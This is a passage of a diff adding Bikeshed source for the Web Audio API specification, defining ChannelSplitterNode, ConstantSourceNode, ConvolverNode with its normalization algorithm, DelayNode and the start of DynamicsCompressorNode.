+	: <dfn>numberOfInputs</dfn>
+	:: The number inputs for the {{ChannelMergerNode}}.  See {{BaseAudioContext/createChannelMerger()}} for constraints on this value.
+</dl>
+
+
+<!--
+ ██████  ██     ██    ███    ██    ██ ██    ██ ████████ ██
+██    ██ ██     ██   ██ ██   ███   ██ ███   ██ ██       ██
+██       ██     ██  ██   ██  ████  ██ ████  ██ ██       ██
+██       █████████ ██     ██ ██ ██ ██ ██ ██ ██ ██████   ██
+██       ██     ██ █████████ ██  ████ ██  ████ ██       ██
+██    ██ ██     ██ ██     ██ ██   ███ ██   ███ ██       ██
+ ██████  ██     ██ ██     ██ ██    ██ ██    ██ ████████ ████████
+
+ ██████  ████████  ██       ████ ████████ ████████ ████████ ████████
+██    ██ ██     ██ ██        ██     ██       ██    ██       ██     ██
+██       ██     ██ ██        ██     ██       ██    ██       ██     ██
+ ██████  ████████  ██        ██     ██       ██    ██████   ████████
+      ██ ██        ██        ██     ██       ██    ██       ██   ██
+██    ██ ██        ██        ██     ██       ██    ██       ██    ██
+ ██████  ██        ████████ ████    ██       ██    ████████ ██     ██
+-->
+
+<h3 interface lt="channelsplitternode" id="ChannelSplitterNode">
+The {{ChannelSplitterNode}} Interface</h3>
+
+The {{ChannelSplitterNode}} is for use in more advanced
+applications and would often be used in conjunction with
+{{ChannelMergerNode}}.
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: see notes
+	noo-notes:  This defaults to 6, but is otherwise determined from {{ChannelSplitterOptions/numberOfOutputs|ChannelSplitterOptions.numberOfOutputs}} or the value specified by {{BaseAudioContext/createChannelSplitter}} or the {{ChannelSplitterOptions/numberOfOutputs}} member of the {{ChannelSplitterOptions}} dictionary for the {{ChannelSplitterNode/ChannelSplitterNode()|constructor}}.
+	cc: {{AudioNode/numberOfOutputs}}
+	cc-notes: Has <a>channelCount constraints</a>
+	cc-mode: explicit
+	cc-mode-notes: Has <a>channelCountMode constraints</a>
+	cc-interp: discrete
+	cc-interp-notes: Has <a>channelInterpretation constraints</a>
+	tail-time: No
+</pre>
+
+This interface represents an {{AudioNode}} for
+accessing the individual channels of an audio stream in the routing
+graph. It has a single input, and a number of "active" outputs which
+equals the number of channels in the input audio stream. For example,
+if a stereo input is connected to an
+{{ChannelSplitterNode}} then the number of active
+outputs will be two (one from the left channel and one from the
+right). There are always a total number of N outputs (determined by
+the <code>numberOfOutputs</code> parameter to the
+{{AudioContext}} method {{BaseAudioContext/createChannelSplitter()}}), The
+default number is 6 if this value is not provided. Any outputs which
+are not "active" will output silence and would typically not be
+connected to anything.
+
+<div class=example>
+	<figure>
+		<img alt="channel splitter" src="images/channel-splitter.png" width="601" height="398">
+		<figcaption>
+			A diagram of a ChannelSplitter
+		</figcaption>
+	</figure>
+
+	Please note that in this example, the splitter does <b>not</b>
+	interpret the channel identities (such as left, right, etc.), but
+	simply splits out channels in the order that they are input.
+</div>
+
+One application for {{ChannelSplitterNode}} is for doing
+"matrix mixing" where individual gain control of each channel is
+desired.
+
+<pre class="idl">
+[Exposed=Window]
+interface ChannelSplitterNode : AudioNode {
+	constructor (BaseAudioContext context, optional ChannelSplitterOptions options = {});
+};
+</pre>
+
+<h4 id="ChannelSplitterNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="ChannelSplitterNode/constructor()">
+	: <dfn>ChannelSplitterNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		<pre class=argumentdef for="ChannelSplitterNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{ChannelSplitterNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{ChannelSplitterNode}}.
+		</pre>
+</dl>
+
+<h4 dictionary lt="channelsplitteroptions" id="ChannelSplitterOptions">
+{{ChannelSplitterOptions}}</h4>
+
+<pre class="idl">
+dictionary ChannelSplitterOptions : AudioNodeOptions {
+	unsigned long numberOfOutputs = 6;
+};
+</pre>
+
+<h5 id="dictionary-channelsplitteroptions-members">
+Dictionary {{ChannelSplitterOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="ChannelSplitterOptions">
+	: <dfn>numberOfOutputs</dfn>
+	:: The number outputs for the {{ChannelSplitterNode}}.  See {{BaseAudioContext/createChannelSplitter()}} for constraints on this value.
+</dl>
+
+
+<!--
+ ██████   ███████  ██    ██  ██████  ████████    ███    ██    ██ ████████
+██    ██ ██     ██ ███   ██ ██    ██    ██      ██ ██   ███   ██    ██
+██       ██     ██ ████  ██ ██          ██     ██   ██  ████  ██    ██
+██       ██     ██ ██ ██ ██  ██████     ██    ██     ██ ██ ██ ██    ██
+██       ██     ██ ██  ████       ██    ██    █████████ ██  ████    ██
+██    ██ ██     ██ ██   ███ ██    ██    ██    ██     ██ ██   ███    ██
+ ██████   ███████  ██    ██  ██████     ██    ██     ██ ██    ██    ██
+
+ ██████   ███████  ██     ██ ████████   ██████  ████████
+██    ██ ██     ██ ██     ██ ██     ██ ██    ██ ██
+██       ██     ██ ██     ██ ██     ██ ██       ██
+ ██████  ██     ██ ██     ██ ████████  ██       ██████
+      ██ ██     ██ ██     ██ ██   ██   ██       ██
+██    ██ ██     ██ ██     ██ ██    ██  ██    ██ ██
+ ██████   ███████   ███████  ██     ██  ██████  ████████
+-->
+
+<h3 interface lt="constantsourcenode" id="ConstantSourceNode">
+The {{ConstantSourceNode}} Interface</h3>
+
+This interface represents a constant audio source whose output is
+nominally a constant value. It is useful as a constant source node in
+general and can be used as if it were a constructible
+{{AudioParam}} by automating its
+{{ConstantSourceNode/offset}} or connecting another node to it.
+
+The single output of this node consists of one channel (mono).
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 0
+	noo: 1
+	cc: 2
+	cc-mode: max
+	cc-interp: speakers
+	tail-time: No
+</pre>
+
+<pre class="idl">
+[Exposed=Window]
+interface ConstantSourceNode : AudioScheduledSourceNode {
+	constructor (BaseAudioContext context, optional ConstantSourceOptions options = {});
+	readonly attribute AudioParam offset;
+};
+</pre>
+
+<h4 id="ConstantSourceNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=method dfn-for="ConstantSourceNode/constructor()">
+	: <dfn>ConstantSourceNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		<pre class=argumentdef for="ConstantSourceNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{ConstantSourceNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{ConstantSourceNode}}.
+		</pre>
+</dl>
+
+<h4 id="ConstantSourceNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="ConstantSourceNode">
+	: <dfn>offset</dfn>
+	::
+		The constant value of the source.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 1
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+</dl>
+
+<h4 dictionary lt="constantsourceoptions" id="ConstantSourceOptions">
+{{ConstantSourceOptions}}</h4>
+
+This specifies options for constructing a
+{{ConstantSourceNode}}. All members are optional;
+if not specified, the normal defaults are used for constructing the
+node.
+
+<pre class="idl">
+dictionary ConstantSourceOptions {
+	float offset = 1;
+};
+</pre>
+
+<h5 id="dictionary-constantsourceoptions-members">
+Dictionary {{ConstantSourceOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="ConstantSourceOptions">
+	: <dfn>offset</dfn>
+	:: The initial value for the {{ConstantSourceNode/offset}} AudioParam of this node.
+</dl>
+
+
+<!--
+ ██████   ███████  ██    ██ ██     ██  ███████  ██       ██     ██ ████████ ████████
+██    ██ ██     ██ ███   ██ ██     ██ ██     ██ ██       ██     ██ ██       ██     ██
+██       ██     ██ ████  ██ ██     ██ ██     ██ ██       ██     ██ ██       ██     ██
+██       ██     ██ ██ ██ ██ ██     ██ ██     ██ ██       ██     ██ ██████   ████████
+██       ██     ██ ██  ████  ██   ██  ██     ██ ██        ██   ██  ██       ██   ██
+██    ██ ██     ██ ██   ███   ██ ██   ██     ██ ██         ██ ██   ██       ██    ██
+ ██████   ███████  ██    ██    ███     ███████  ████████    ███    ████████ ██     ██
+-->
+
+<h3 interface lt="convolvernode" id="ConvolverNode">
+The {{ConvolverNode}} Interface</h3>
+
+This interface represents a processing node which applies a linear
+convolution effect given an impulse response.
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	cc: 2
+	cc-notes: Has <a>channelCount constraints</a>
+	cc-mode: clamped-max
+	cc-mode-notes: Has <a>channelCountMode constraints</a>
+	cc-interp: speakers
+	tail-time: Yes
+	tail-time-notes: Continues to output non-silent audio with zero input for the length of the {{ConvolverNode/buffer}}.
+</pre>
+
+The input of this node is either mono (1 channel) or stereo (2
+channels) and cannot be increased. Connections from nodes with more
+channels will be <a href="#channel-up-mixing-and-down-mixing">down-mixed appropriately</a>.
+
+There are <a>channelCount constraints</a> and <a>channelCountMode
+constraints</a> for this node. These constraints ensure that the
+input to the node is either mono or stereo.
+
+<pre class="idl">
+[Exposed=Window]
+interface ConvolverNode : AudioNode {
+	constructor (BaseAudioContext context, optional ConvolverOptions options = {});
+	attribute AudioBuffer? buffer;
+	attribute boolean normalize;
+};
+</pre>
+
+<h4 id="ConvolverNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="ConvolverNode/constructor()">
+	: <dfn>ConvolverNode(context, options)</dfn>
+	::
+		When the constructor is called with a {{BaseAudioContext}} <var>context</var> and
+		an option object <var>options</var>, execute these steps:
+
+		1. Set the attributes {{ConvolverNode/normalize}} to the inverse of the
+			value of {{ConvolverOptions/disableNormalization}}.
+		2. If {{ConvolverNode/buffer}}
+		        <a for=map>exists</a>, set the
+			{{ConvolverNode/buffer}} attribute to its value.
+
+			Note: This means that the buffer will be normalized according to the
+			value of the {{ConvolverNode/normalize}}
+			attribute.
+
+		3. Let <var>o</var> be new {{AudioNodeOptions}} dictionary.
+		4. If {{AudioNodeOptions/channelCount}}
+		        <a for=map>exists</a> in
+			<var>options</var>, set {{AudioNodeOptions/channelCount}} on <var>o</var>
+			with the same value.
+		5. If {{AudioNodeOptions/channelCountMode}} 
+			<a for=map>exists</a> in
+			<var>options</var>, set {{AudioNodeOptions/channelCountMode}} on
+			<var>o</var> with the same value.
+		6. If {{AudioNodeOptions/channelInterpretation}} 
+			<a for=map>exists</a> in
+			<var>options</var>, set {{AudioNodeOptions/channelInterpretation}} on
+			<var>o</var> with the same value.
+		7. <a href="#audionode-constructor-init">Initialize the AudioNode</a>
+			<var>this</var>, with <var>c</var> and <var>o</var> as argument.
+
+		<pre class=argumentdef for="ConvolverNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{ConvolverNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{ConvolverNode}}.
+		</pre>
+</dl>
+
+<h4 id="ConvolverNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="ConvolverNode">
+	: <dfn>buffer</dfn>
+	::
+		At the time when this attribute is set, the {{ConvolverNode/buffer}} and
+		the state of the {{normalize}} attribute will be used to
+		configure the {{ConvolverNode}} with this
+		impulse response having the given normalization. The initial
+		value of this attribute is null.
+
+		<div algorithm="set convolver buffer">
+			When setting the <dfn>buffer attribute</dfn>, execute the following <span
+				class="synchronously">steps synchronously</span>:
+			1. If the buffer {{AudioBuffer/numberOfChannels|number of channels}} is not 1, 2, 4, or if the
+				{{AudioBuffer/sampleRate|sample-rate}} of the buffer is not the same as the
+				{{BaseAudioContext/sampleRate|sample-rate}} of its <a
+					href="#associated">associated</a> {{BaseAudioContext}}, a
+				{{NotSupportedError}} MUST be thrown.
+			2. <a href="#acquire-the-content">Acquire the content</a> of the
+				{{AudioBuffer}}.
+		</div>
+
+		Note: If the {{ConvolverNode/buffer}} is set to an new
+		buffer, audio may glitch.  If this is undesirable, it
+		is recommended to create a new {{ConvolverNode}} to
+		replace the old, possibly cross-fading between the
+		two.
+
+		Note: The {{ConvolverNode}} produces a mono output only in the
+		single case where there is a single input channel and a
+		single-channel {{ConvolverNode/buffer}}. In all other cases, the
+		output is stereo. In particular, when the {{ConvolverNode/buffer}}
+		has four channels and there are two input channels, the
+		{{ConvolverNode}} performs matrix "true" stereo
+		convolution. For normative information please see the
+		<a href="#Convolution-channel-configurations">channel
+		configuration diagrams</a>
+
+	: <dfn>normalize</dfn>
+	::
+		Controls whether the impulse response from the buffer will be
+		scaled by an equal-power normalization when the
+		{{ConvolverNode/buffer}} atttribute is set. Its default value is
+		`true` in order to achieve a more uniform output
+		level from the convolver when loaded with diverse impulse
+		responses. If {{normalize}} is set to
+		<code>false</code>, then the convolution will be rendered with
+		no pre-processing/scaling of the impulse response. Changes to
+		this value do not take effect until the next time the
+		{{ConvolverNode/buffer}} attribute is set.
+
+		If the {{normalize}} attribute is false when the
+		{{ConvolverNode/buffer}} attribute is set then the
+		{{ConvolverNode}} will perform a linear
+		convolution given the exact impulse response contained within
+		the {{ConvolverNode/buffer}}.
+
+		Otherwise, if the {{normalize}} attribute is true when the
+		{{ConvolverNode/buffer}} attribute is set then the
+		{{ConvolverNode}} will first perform a scaled
+		RMS-power analysis of the audio data contained within
+		{{ConvolverNode/buffer}} to calculate a <var>normalizationScale</var>
+		given this algorithm:
+
+		<pre highlight="js" line-numbers>
+		function calculateNormalizationScale(buffer) {
+			const GainCalibration = 0.00125;
+			const GainCalibrationSampleRate = 44100;
+			const MinPower = 0.000125;
+
+			// Normalize by RMS power.
+			const numberOfChannels = buffer.numberOfChannels;
+			const length = buffer.length;
+
+			let power = 0;
+
+			for (let i = 0; i &lt; numberOfChannels; i++) {
+				let channelPower = 0;
+				const channelData = buffer.getChannelData(i);
+
+				for (let j = 0; j &lt; length; j++) {
+					const sample = channelData[j];
+					channelPower += sample * sample;
+				}
+
+				power += channelPower;
+			}
+
+			power = Math.sqrt(power / (numberOfChannels * length));
+
+			// Protect against accidental overload.
+			if (!isFinite(power) || isNaN(power) || power &lt; MinPower)
+				power = MinPower;
+
+			let scale = 1 / power;
+
+			// Calibrate to make perceived volume same as unprocessed.
+			scale *= GainCalibration;
+
+			// Scale depends on sample-rate.
+			if (buffer.sampleRate)
+				scale *= GainCalibrationSampleRate / buffer.sampleRate;
+
+			// True-stereo compensation.
+			if (numberOfChannels == 4)
+				scale *= 0.5;
+
+			return scale;
+		}
+		</pre>
+
+		During processing, the ConvolverNode will then take this
+		calculated <var>normalizationScale</var> value and multiply it by
+		the result of the linear convolution resulting from processing
+		the input with the impulse response (represented by the
+		{{ConvolverNode/buffer}}) to produce the final output. Or any
+		mathematically equivalent operation may be used, such as
+		pre-multiplying the input by <var>normalizationScale</var>, or
+		pre-multiplying a version of the impulse-response by
+		<var>normalizationScale</var>.
+</dl>
+
+<h4 dictionary lt="convolveroptions" id="ConvolverOptions">
+{{ConvolverOptions}}</h4>
+
+The specifies options for constructing a
+{{ConvolverNode}}. All members are optional; if not
+specified, the node is contructing using the normal defaults.
+
+<pre class="idl">
+dictionary ConvolverOptions : AudioNodeOptions {
+	AudioBuffer? buffer;
+	boolean disableNormalization = false;
+};
+</pre>
+
+<h5 id="dictionary-convolveroptions-members">
+Dictionary {{ConvolverOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="ConvolverOptions">
+	: <dfn>buffer</dfn>
+	::
+		The desired buffer for the {{ConvolverNode}}.
+		This buffer will be normalized according to the value of
+		{{ConvolverOptions/disableNormalization}}.
+
+	: <dfn>disableNormalization</dfn>
+	::
+		The opposite of the desired initial value for the
+		{{ConvolverNode/normalize}}
+		attribute of the {{ConvolverNode}}.
+</dl>
+
+<h4 id="Convolution-channel-configurations">
+Channel Configurations for Input, Impulse Response and Output</h4>
+
+Implementations MUST support the following allowable configurations
+of impulse response channels in a {{ConvolverNode}}
+to achieve various reverb effects with 1 or 2 channels of input.
+
+As shown in the diagram below, single channel convolution operates on a mono audio input, using a
+mono impulse response, and generating a mono output. The remaining
+images in the diagram illustrate the supported cases for mono and
+stereo playback where the number of channels of the input is 1 or 2, and the number of channels in the {{ConvolverNode/buffer}} is 1, 2, or 4.
+Developers desiring more complex and arbitrary matrixing can use a
+{{ChannelSplitterNode}}, multiple single-channel
+{{ConvolverNode}}s and a
+{{ChannelMergerNode}}.
+
+If this node is not [=actively processing=], the output is a single
+channel of silence.
+
+Note: The diagrams below show the outputs when [=actively processing=].
+
+<figure id="convolver-diagram">
+	<img alt="reverb matrixing" src="images/convolver-diagram.png">
+	<figcaption>
+		A graphical representation of supported input and output channel
+		count possibilities when using a
+		{{ConvolverNode}}.
+	</figcaption>
+</figure>
+
+
+<!--
+████████  ████████ ██          ███    ██    ██
+██     ██ ██       ██         ██ ██    ██  ██
+██     ██ ██       ██        ██   ██    ████
+██     ██ ██████   ██       ██     ██    ██
+██     ██ ██       ██       █████████    ██
+██     ██ ██       ██       ██     ██    ██
+████████  ████████ ████████ ██     ██    ██
+-->
+
+<h3 interface lt="delaynode" id="DelayNode">
+The {{DelayNode}} Interface</h3>
+
+A delay-line is a fundamental building block in audio applications.
+This interface is an {{AudioNode}} with a single
+input and single output.
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	cc: 2
+	cc-mode: max
+	cc-interp: speakers
+	tail-time: Yes
+	tail-time-notes: Continues to output non-silent audio with zero input up to the <l>{{DelayOptions/maxDelayTime}}</l> of the node.
+</pre>
+
+The number of channels of the output always equals the number of
+channels of the input.
+
+It delays the incoming audio signal by a certain amount.
+Specifically, at each time <em>t</em>, input signal
+<em>input(t)</em>, delay time <em>delayTime(t)</em> and output signal
+<em>output(t)</em>, the output will be <em>output(t) = input(t -
+delayTime(t))</em>. The default <code>delayTime</code> is 0 seconds
+(no delay).
+
+When the number of channels in a {{DelayNode}}'s input changes
+(thus changing the output channel count also), there may be delayed
+audio samples which have not yet been output by the node and are part
+of its internal state. If these samples were received earlier with a
+different channel count, they MUST be upmixed or downmixed before
+being combined with newly received input so that all internal
+delay-line mixing takes place using the single prevailing channel
+layout.
+
+Note: By definition, a {{DelayNode}} introduces an audio processing
+latency equal to the amount of the delay.
+
+<pre class="idl">
+[Exposed=Window]
+interface DelayNode : AudioNode {
+	constructor (BaseAudioContext context, optional DelayOptions options = {});
+	readonly attribute AudioParam delayTime;
+};
+</pre>
+
+<h4 id="DelayNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="DelayNode/constructor()">
+	: <dfn>DelayNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		<pre class=argumentdef for="DelayNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{DelayNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{DelayNode}}.
+		</pre>
+</dl>
+
+<h4 id="DelayNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="DelayNode">
+	: <dfn>delayTime</dfn>
+	::
+		An {{AudioParam}} object representing the
+		amount of delay (in seconds) to apply. Its default
+		<code>value</code> is 0 (no delay). The minimum value is 0 and
+		the maximum value is determined by the
+		{{maxDelayTime!!argument}} argument to the
+		{{AudioContext}} method {{createDelay()}} or the {{DelayOptions/maxDelayTime}} member of the {{DelayOptions}} dictionary for the {{DelayNode/DelayNode()|constructor}}.
+
+		If {{DelayNode}} is part of a <a>cycle</a>,
+		then the value of the {{DelayNode/delayTime}} attribute
+		is clamped to a minimum of one <a>render quantum</a>.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: 0
+			max: <l>{{DelayOptions/maxDelayTime}}</l>
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+</dl>
+
+<h4 dictionary lt="delayoptions" id="DelayOptions">
+{{DelayOptions}}</h4>
+
+This specifies options for constructing a
+{{DelayNode}}. All members are optional; if not
+given, the node is constructed using the normal defaults.
+
+<pre class="idl">
+dictionary DelayOptions : AudioNodeOptions {
+	double maxDelayTime = 1;
+	double delayTime = 0;
+};
+</pre>
+
+<h5 id="dictionary-delayoptions-members">
+Dictionary {{DelayOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="DelayOptions">
+	: <dfn>delayTime</dfn>
+	:: The initial delay time for the node.
+
+	: <dfn>maxDelayTime</dfn>
+	:: The maximum delay time for the node.  See {{BaseAudioContext/createDelay(maxDelayTime)/maxDelayTime!!argument|createDelay(maxDelayTime)}} for constraints.
+</dl>
+
+<h4 id="DelayNode-processing">Processing</h4>
+
+A {{DelayNode}} has an internal buffer that holds {{DelayNode|delayTime}}
+seconds of audio.
+
+The processing of a {{DelayNode}} is broken down in two parts: writing to the
+delay line, and reading from the delay line. This is done via two internal
+{{AudioNode}}s (that are not available to authors and exist only to ease
+the description of the inner workings of the node). Both are created from a
+{{DelayNode}}.
+
+Creating a <dfn>DelayWriter</dfn> for a {{DelayNode}} means creating an object
+that has the same interface as an {{AudioNode}}, and that writes the input audio
+into the internal buffer of the {{DelayNode}}. It has the same input connections
+as the {{DelayNode}} it was created from.
+
+Creating a <dfn>DelayReader</dfn> for a {{DelayNode}} means creating an object
+that has the same interface as an {{AudioNode}}, and that can read the audio
+data from the internal buffer of the {{DelayNode}}. It is connected to the same
+{{AudioNode}}s as the {{DelayNode}} it was created from. A <a>DelayReader</a> is
+a <a>source node</a>.
+
+When processing an input buffer, a <a>DelayWriter</a> MUST write the audio to
+the internal buffer of the {{DelayNode}}.
+
+When producing an output buffer, a <a>DelayReader</a> MUST yield exactly the
+audio that was written to the corresponding <a>DelayWriter</a>
+{{DelayNode|delayTime}} seconds ago.
+
+Note: This means that channel count changes are reflected after the delay time
+has passed.
+
+<!--
+████████  ██    ██ ██    ██    ███    ██     ██ ████  ██████   ██████
+██     ██  ██  ██  ███   ██   ██ ██   ███   ███  ██  ██    ██ ██    ██
+██     ██   ████   ████  ██  ██   ██  ████ ████  ██  ██       ██
+██     ██    ██    ██ ██ ██ ██     ██ ██ ███ ██  ██  ██        ██████
+██     ██    ██    ██  ████ █████████ ██     ██  ██  ██             ██
+██     ██    ██    ██   ███ ██     ██ ██     ██  ██  ██    ██ ██    ██
+████████     ██    ██    ██ ██     ██ ██     ██ ████  ██████   ██████
+-->
+<!--
+ ██████   ███████  ██     ██ ████████  ████████  ████████  ██████   ██████   ███████  ████████
+██    ██ ██     ██ ███   ███ ██     ██ ██     ██ ██       ██    ██ ██    ██ ██     ██ ██     ██
+██       ██     ██ ████ ████ ██     ██ ██     ██ ██       ██       ██       ██     ██ ██     ██
+██       ██     ██ ██ ███ ██ ████████  ████████  ██████    ██████   ██████  ██     ██ ████████
+██       ██     ██ ██     ██ ██        ██   ██   ██             ██       ██ ██     ██ ██   ██
+██    ██ ██     ██ ██     ██ ██        ██    ██  ██       ██    ██ ██    ██ ██     ██ ██    ██
+ ██████   ███████  ██     ██ ██        ██     ██ ████████  ██████   ██████   ███████  ██     ██
+-->
+
+<h3 interface lt="dynamicscompressornode" id="DynamicsCompressorNode">
+The {{DynamicsCompressorNode}} Interface</h3>
+
+{{DynamicsCompressorNode}} is an
+{{AudioNode}} processor implementing a dynamics
+compression effect.
+
+Dynamics compression is very commonly used in musical production and
+game audio. It lowers the volume of the loudest parts of the signal
+and raises the volume of the softest parts. Overall, a louder,
+richer, and fuller sound can be achieved. It is especially important
+in games and musical applications where large numbers of individual
+sounds are played simultaneous to control the overall signal level
+and help avoid clipping (distorting) the audio output to the
+speakers.
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	cc: 2
+	cc-notes: Has <a>channelCount constraints</a>
+	cc-mode: clamped-max
+	cc-mode-notes: Has <a>channelCountMode constraints</a>
+	cc-interp: speakers
+	tail-time: Yes
+	tail-time-notes:  This node has a <a>tail-time</a> such that this node continues to output non-silent audio with zero input due to the look-ahead delay.
+</pre>
+
+<pre class="idl">
+[Exposed=Window]
+interface DynamicsCompressorNode : AudioNode {
+	constructor (BaseAudioContext context,
+	             optional DynamicsCompressorOptions options = {});
+	readonly attribute AudioParam threshold;
+	readonly attribute AudioParam knee;
+	readonly attribute AudioParam ratio;
+	readonly attribute float reduction;
+	readonly attribute AudioParam attack;
+	readonly attribute AudioParam release;
+};
+</pre>
+
+<h4 id="DynamicsCompressorNode-constructors">
+Constructors</h4>
+
+<dl dfn-type="method" dfn-for="DynamicsCompressorNode/constructor()">
+	: <dfn>DynamicsCompressorNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		Let <dfn attribute for="DynamicsCompressorNode">[[internal reduction]]</dfn>
+		be a private slot on <var>this</var>, that holds a floating point number, in
+		decibels. Set {{[[internal reduction]]}} to 0.0.
+
+		<pre class=argumentdef for="DynamicsCompressorNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{DynamicsCompressorNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{DynamicsCompressorNode}}.
+		</pre>
+</dl>
+
+<h4 id="DynamicsCompressorNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="DynamicsCompressorNode">
+	: <dfn>attack</dfn>
+	::
+		The amount of time (in seconds) to reduce the gain by 10dB.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: .003
+			min: 0
+			max: 1
+			rate: "{{AutomationRate/k-rate}}"
+			rate-notes: Has [=automation rate constraints=]
+		</pre>
+
+	: <dfn>knee</dfn>
+	::
+		A decibel value representing the range above the threshold
+		where the curve smoothly transitions to the "ratio" portion.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 30
+			min: 0
+			max: 40
+			rate: "{{AutomationRate/k-rate}}"
+			rate-notes: Has [=automation rate constraints=]
+		</pre>
+
+	: <dfn>ratio</dfn>
+	::
+		The amount of dB change in input for a 1 dB change in output.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 12
+			min: 1
+			max: 20
+			rate: "{{AutomationRate/k-rate}}"
+			rate-notes: Has [=automation rate constraints=]
+		</pre>
+
+	: <dfn>reduction</dfn>
+	::
+		A read-only decibel value for metering purposes, representing the
+		current amount of gain reduction that the compressor is applying
+		to the signal. If fed no signal the value will be 0 (no gain
+		reduction). When this attribute is read, return the value of the
+		private slot {{[[internal reduction]]}}.
+
+	: <dfn>release</dfn>
+	::
+		The amount of time (in seconds) to increase the gain by 10dB.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: .25
+			min: 0
+			max: 1
+			rate: "{{AutomationRate/k-rate}}"
+			rate-notes: Has [=automation rate constraints=]
+		</pre>
+
+	: <dfn>threshold</dfn>
+	::
+		The decibel value above which the compression will start taking effect.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: -24
+			min: -100
+			max: 0
+			rate: "{{AutomationRate/k-rate}}"
+			rate-notes: Has [=automation rate constraints=]
+		</pre>
+</dl>
+
+<h4 dictionary lt="dynamicscompressoroptions" id="DynamicsCompressorOptions">
+{{DynamicsCompressorOptions}}</h4>
+
+This specifies the options to use in constructing a
+{{DynamicsCompressorNode}}. All members are
+optional; if not specified the normal defaults are used in
+constructing the node.
+
+<pre class="idl">
+dictionary DynamicsCompressorOptions : AudioNodeOptions {
+	float attack = 0.003;
+	float knee = 30;
+	float ratio = 12;
+	float release = 0.25;
+	float threshold = -24;
+};
+</pre>
+
+<h5 id="dictionary-dynamicscompressoroptions-members">
+Dictionary {{DynamicsCompressorOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="DynamicsCompressorOptions">
+	: <dfn>attack</dfn>
+	:: The initial value for the {{DynamicsCompressorNode/attack}} AudioParam.
+
+	: <dfn>knee</dfn>
+	:: The initial value for the {{DynamicsCompressorNode/knee}} AudioParam.
+
+	: <dfn>ratio</dfn>
+	:: The initial value for the {{DynamicsCompressorNode/ratio}} AudioParam.
+
+	: <dfn>release</dfn>
+	:: The initial value for the {{DynamicsCompressorNode/release}} AudioParam.
+
+	: <dfn>threshold</dfn>
+	:: The initial value for the {{DynamicsCompressorNode/threshold}} AudioParam.
+</dl>
+
+<h4 id="DynamicsCompressorOptions-processing">
+Processing</h4>
+
+Dynamics compression can be implemented in a variety of ways. The
+{{DynamicsCompressorNode}} implements a dynamics processor that
+has the following characteristics:
+
+* Fixed look-ahead (this means that an
+	{{DynamicsCompressorNode}} adds a fixed latency to the signal
+	chain).
+
+* Configurable attack speed, release speed, threshold, knee
+	hardness and ratio.
+
+* Side-chaining is not supported.
+
+* The gain reduction is reported <em>via</em> the
+	<code>reduction</code> property on the
+	{{DynamicsCompressorNode}}.
+
+* The compression curve has three parts:
+	* The first part is the identity: \(f(x) = x\).
+
+	* The second part is the soft-knee portion, which MUST be a
+		monotonically increasing function.
+
+	* The third part is a linear function: \(f(x) =
+		\frac{1}{ratio} \cdot x \).
+
+	This curve MUST be continuous and piece-wise differentiable,
+	and corresponds to a target output level, based on the input
+	level.
+
+Graphically, such a curve would look something like this:
+
+<figure>
+	<img alt="Graphical representation of a compression curve" src="images/compression-curve.svg" style="width: 50%">
+	<figcaption>
+		A typical compression curve, showing the knee portion (soft or
+		hard) as well as the threshold.
+	</figcaption>
+</figure>
+
+Internally, the {{DynamicsCompressorNode}} is described with a
+combination of other {{AudioNode}}s, as well as a special
+algorithm, to compute the gain reduction value.
+
+The following {{AudioNode}} graph is used internally,
+<code>input</code> and <code>output</code> respectively being the
+input and output {{AudioNode}}, <code>context</code> the
+{{BaseAudioContext}} for this {{DynamicsCompressorNode}}, and
+a new class, <dfn>EnvelopeFollower</dfn>, that instantiates a
+special object that behaves like an {{AudioNode}}, described
+below:
+
+<pre>
